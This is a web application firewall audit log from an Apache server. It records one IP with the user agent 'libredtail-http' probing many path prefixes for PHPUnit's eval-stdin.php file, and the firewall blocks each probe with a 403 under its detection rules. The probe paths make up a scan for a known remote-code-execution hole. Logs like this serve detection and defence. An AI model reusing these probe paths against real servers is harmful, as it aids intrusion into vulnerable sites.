Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/test/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKrWM7dE9KgIIOpQhtvAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKrWM7dE9KgIIOpQhtvAAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789282989910303 62767 (- - -)
Stopwatch2: 1789282989910303 62767; combined=58176, p1=1236, p2=56503, p3=0, p4=0, p5=436, sr=952, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4c93b673-Z--

--f42eaa43-A--
[13/Sep/2026:10:03:12.085034 +0300] aqZKsEwu1RSkptiiNIX1MAAAAIo 106.51.22.217 39280 127.0.0.1 7081
--f42eaa43-B--
GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--f42eaa43-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f42eaa43-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/testing/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/testing/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsEwu1RSkptiiNIX1MAAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsEwu1RSkptiiNIX1MAAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789282992027414 57662 (- - -)
Stopwatch2: 1789282992027414 57662; combined=55737, p1=1263, p2=54150, p3=0, p4=0, p5=324, sr=148, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f42eaa43-Z--

--6cb65260-A--
[13/Sep/2026:10:03:14.197013 +0300] aqZKsmM7dE9KgIIOpQhtvgAAANM 106.51.22.217 39298 127.0.0.1 7081
--6cb65260-B--
GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--6cb65260-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6cb65260-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/api/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/api/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsmM7dE9KgIIOpQhtvgAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKsmM7dE9KgIIOpQhtvgAAANM"]
Action: Intercepted (phase 2)
Stopwatch: 1789282994140454 56604 (- - -)
Stopwatch2: 1789282994140454 56604; combined=55180, p1=323, p2=54549, p3=0, p4=0, p5=308, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6cb65260-Z--

--907a7a7e-A--
[13/Sep/2026:10:03:15.859814 +0300] aqZKs0wu1RSkptiiNIX1MgAAAIA 106.51.22.217 41512 127.0.0.1 7081
--907a7a7e-B--
GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--907a7a7e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--907a7a7e-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/demo/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/demo/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKs0wu1RSkptiiNIX1MgAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKs0wu1RSkptiiNIX1MgAAAIA"]
Action: Intercepted (phase 2)
Stopwatch: 1789282995802892 57047 (- - -)
Stopwatch2: 1789282995802892 57047; combined=55715, p1=299, p2=55107, p3=0, p4=0, p5=308, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--907a7a7e-Z--

--f70ea02c-A--
[13/Sep/2026:10:03:17.715461 +0300] aqZKtUwu1RSkptiiNIX1MwAAAIE 106.51.22.217 41524 127.0.0.1 7081
--f70ea02c-B--
GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--f70ea02c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f70ea02c-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/cms/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/cms/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKtUwu1RSkptiiNIX1MwAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKtUwu1RSkptiiNIX1MwAAAIE"]
Action: Intercepted (phase 2)
Stopwatch: 1789282997657408 58111 (- - -)
Stopwatch2: 1789282997657408 58111; combined=56526, p1=333, p2=55841, p3=0, p4=0, p5=352, sr=147, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f70ea02c-Z--

--ff982f42-A--
[13/Sep/2026:10:03:19.790811 +0300] aqZKt0wu1RSkptiiNIX1NQAAAIg 106.51.22.217 41544 127.0.0.1 7081
--ff982f42-B--
GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--ff982f42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ff982f42-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/crm/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/crm/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKt0wu1RSkptiiNIX1NQAAAIg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKt0wu1RSkptiiNIX1NQAAAIg"]
Action: Intercepted (phase 2)
Stopwatch: 1789282999731854 59009 (- - -)
Stopwatch2: 1789282999731854 59009; combined=57571, p1=259, p2=56861, p3=0, p4=0, p5=451, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ff982f42-Z--

--e6525144-A--
[13/Sep/2026:10:03:22.194240 +0300] aqZKukwu1RSkptiiNIX1NgAAAIQ 106.51.22.217 41552 127.0.0.1 7081
--e6525144-B--
GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--e6525144-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e6525144-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/admin/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/admin/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKukwu1RSkptiiNIX1NgAAAIQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKukwu1RSkptiiNIX1NgAAAIQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789283002137778 56517 (- - -)
Stopwatch2: 1789283002137778 56517; combined=55197, p1=302, p2=54584, p3=0, p4=0, p5=310, sr=150, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e6525144-Z--

--ccb8c705-A--
[13/Sep/2026:10:03:24.317000 +0300] aqZKvEwu1RSkptiiNIX1NwAAAJg 106.51.22.217 41554 127.0.0.1 7081
--ccb8c705-B--
GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--ccb8c705-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ccb8c705-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvEwu1RSkptiiNIX1NwAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvEwu1RSkptiiNIX1NwAAAJg"]
Action: Intercepted (phase 2)
Stopwatch: 1789283004258531 58511 (- - -)
Stopwatch2: 1789283004258531 58511; combined=55953, p1=324, p2=55227, p3=0, p4=0, p5=402, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ccb8c705-Z--

--85f28c11-A--
[13/Sep/2026:10:03:26.411416 +0300] aqZKvkwu1RSkptiiNIX1OAAAAIw 106.51.22.217 44488 127.0.0.1 7081
--85f28c11-B--
GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--85f28c11-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--85f28c11-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/blog/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/blog/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvkwu1RSkptiiNIX1OAAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKvkwu1RSkptiiNIX1OAAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789283006353498 57973 (- - -)
Stopwatch2: 1789283006353498 57973; combined=55236, p1=319, p2=54536, p3=0, p4=0, p5=380, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--85f28c11-Z--

--448b426f-A--
[13/Sep/2026:10:03:28.298285 +0300] aqZKwGM7dE9KgIIOpQhtwAAAAMQ 106.51.22.217 44502 127.0.0.1 7081
--448b426f-B--
GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--448b426f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--448b426f-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/workspace/drupal/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
